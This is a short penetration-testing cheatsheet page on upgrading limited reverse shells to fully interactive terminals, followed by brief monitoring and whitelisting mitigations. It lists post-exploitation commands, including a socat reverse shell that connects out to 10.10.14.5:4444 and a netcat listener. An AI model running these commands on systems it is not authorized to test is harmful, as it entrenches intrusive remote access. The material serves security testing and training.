Shell Upgrade Tty
Shells & Payloads cheatsheet — Reverse shells, bind shells, and payload generation.
Overview
TTY Shell Upgrades turn limited reverse shells (typically from netcat or Python one-liners) into fully interactive terminals with job control, terminal echo, and proper line editing. This is essential for using interactive tools like sudo, vim, or text editors.
Multiple techniques exist for upgrading partial shells depending on available tools on the target system.
Category: Shells & Payloads — Reverse shells, bind shells, and payload generation.
Key Commands & Payloads
The following commands and payloads are commonly used when testing for or exploiting Shell Upgrade Tty:
python3 -c 'import pty;pty.spawn("/bin/bash")'script /dev/null -c bashecho os.system('/bin/bash')/usr/bin/expect -c 'spawn bash;interact'socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.5:4444rlwrap nc -lvnp 4444stty raw -echo; fg (after Ctrl+Z on listener)stty rows 40 cols 130export TERM=xterm-256colorexport SHELL=bashTools & Techniques
Recommended tools for Shell Upgrade Tty:
- Python PTY: python3/2 -c 'import pty;pty.spawn("/bin/bash")'
- Script: script /dev/null -c bash
- Socat: full TTY with socat exec
- rlwrap: readline wrapper for netcat
- stty: terminal size configuration after raw mode
Prevention & Mitigation
Security recommendations to prevent Shell Upgrade Tty:
- Monitor for TTY upgrade activity (spawned shells)
- Restrict Python/script/socat execution where possible
- Use application whitelisting to block unauthorized interpreters
References
Additional resources: